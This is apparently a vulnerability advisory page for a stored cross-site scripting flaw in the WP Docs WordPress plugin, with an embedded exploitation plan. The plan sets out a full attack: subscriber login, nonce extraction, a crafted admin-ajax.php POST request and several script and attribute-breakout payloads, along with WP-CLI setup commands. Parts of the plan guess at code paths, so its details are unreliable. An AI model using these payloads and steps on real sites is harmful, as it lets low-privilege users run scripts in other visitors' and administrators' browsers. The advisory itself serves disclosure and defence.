WP Docs <= 2.2.9 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'wpdocs_options[icon_size]'
Description
The WP Docs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpdocs_options[icon_size]' parameter in all versions up to, and including, 2.2.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.3.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3878 - WP Docs Stored XSS ## 1. Vulnerability Summary The **WP Docs** plugin (up to 2.2.9) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to properly sanitize and escape the `icon_size` p…
Show full research plan
Exploitation Research Plan: CVE-2026-3878 - WP Docs Stored XSS
1. Vulnerability Summary
The WP Docs plugin (up to 2.2.9) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to properly sanitize and escape the icon_size parameter within the wpdocs_options array when saving settings via an AJAX handler, and subsequently fails to escape this value when rendering it in HTML attributes (likely style or class attributes for folder/file icons).
While settings are typically administrative, this vulnerability is exploitable by users with Subscriber-level access because the AJAX handler responsible for updating these options lacks a capability check (e.g., current_user_can('manage_options')), relying solely on a nonce that may be obtainable or bypassed.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wpdocs_update_options(Inferred from the nonce namewpdocs_update_options_nonceininc/functions.php). - Vulnerable Parameter:
wpdocs_options[icon_size] - Authentication Level: Subscriber or higher.
- Payload Type: Attribute-based XSS (breaking out of a
styleorwidth/heightattribute).
3. Code Flow
- Registration: The plugin registers an AJAX action (likely
wp_ajax_wpdocs_update_options) in a part of the code not fully shown in the snippet, but confirmed by the noncewpdocs_update_options_noncelocalized ininc/functions.php. - Input Processing: The handler receives the
wpdocs_optionsarray. It likely callssanitize_wpdocs_data()(found ininc/functions.php). - Sanitization Failure:
sanitize_wpdocs_data()usessanitize_text_field($val). This function strips HTML tags but does not escape quotes or semi-colons, which are necessary to prevent attribute breakout when the value is placed inside astyle="..."attribute. - Storage: The unsanitized value is saved to the database via
update_option('wpdocs_options', ... ). - Output: When a user views a page containing the WP Docs file explorer (via shortcode) or the admin settings page, the plugin retrieves the option and echoes it directly:
- Example Sink:
<i class="fa fa-folder" style="font-size: <?php echo $wpdocs_options['icon_size']; ?>;"></i>(Noesc_attrorabsintused).
- Example Sink:
4. Nonce Acquisition Strategy
The nonce is localized in inc/functions.php within the wpdocs_admin_enqueue_script function.
wp_localize_script(
'wpdocs_admin_scripts',
'wpdocs_ajax_object',
array(
// ...
'nonce' => wp_create_nonce('wpdocs_update_options_nonce'),
// ...
)
);
Strategy:
- Identify Access: Determine if a Subscriber can access the settings page or if the script is enqueued on the frontend. The snippet shows a check:
if (isset($_GET['page']) && $_GET['page'] == 'wpdocs'). - Bypass/Leaked Nonce: Check if the plugin enqueues this script on frontend pages where the
[wpdocs]shortcode is present. - Execution:
- Create a page with the shortcode:
wp post create --post_type=page --post_status=publish --post_content='[wpdocs]' - Navigate to that page as a Subscriber.
- Use
browser_evalto extract the nonce:browser_eval("window.wpdocs_ajax_object?.nonce")
- Create a page with the shortcode:
5. Exploitation Strategy
Step 1: Authentication
Login as a Subscriber user to obtain a valid session.
Step 2: Nonce Extraction
Navigate to a page where WP Docs is active (or try the admin dashboard) and extract the wpdocs_update_options_nonce from the wpdocs_ajax_object global variable.
Step 3: Inject Payload
Send a POST request to admin-ajax.php.
- Action:
wpdocs_update_options - Parameter:
wpdocs_options[icon_size] - Payload:
20px; background-image: url("javascript:alert(document.domain)");or20px"><script>alert(1)</script>
HTTP Request via http_request:
{
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"method": "POST",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "action=wpdocs_update_options&nonce=[EXTRACTED_NONCE]&wpdocs_options[icon_size]=20px\"><script>alert(window.origin)</script>"
}
Step 4: Trigger Execution
Navigate to the plugin's settings page or any page displaying the document library. The injected <script> tag will execute.
6. Test Data Setup
- User: Create a subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password. - Plugin Setup: Ensure the plugin is active.
- Shortcode Page: Create a page to potentially leak the nonce or view the results:
wp post create --post_title="Documents" --post_content="[wpdocs]" --post_status="publish".
7. Expected Results
- The AJAX request should return a success status (likely
1or a JSON success message). - The
wpdocs_optionsoption in the database should now contain the payload. - Upon visiting the "Documents" page or the admin settings, an alert box showing the origin should appear.
8. Verification Steps
- Check Database: Use WP-CLI to verify the stored value:
wp option get wpdocs_options - Verify Output: Inspect the HTML source of the frontend page:
http_request --url http://localhost:8080/documents/
Search for the string:<script>alert(window.origin)</script>.
9. Alternative Approaches
- If
icon_sizeis filtered: Try injecting into other keys in thewpdocs_optionsarray, such astitle_sizeor CSS color settings (e.g.,bg_color), which are often handled by the same logic. - If the AJAX action is different: Search the full source for
wp_ajax_to find the exact function handling thewpdocs_update_options_nonce. - Bypassing
sanitize_text_field: If tags are stripped, focus on attribute breakout within an existing tag:20px" onmouseover="alert(1)" style="
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.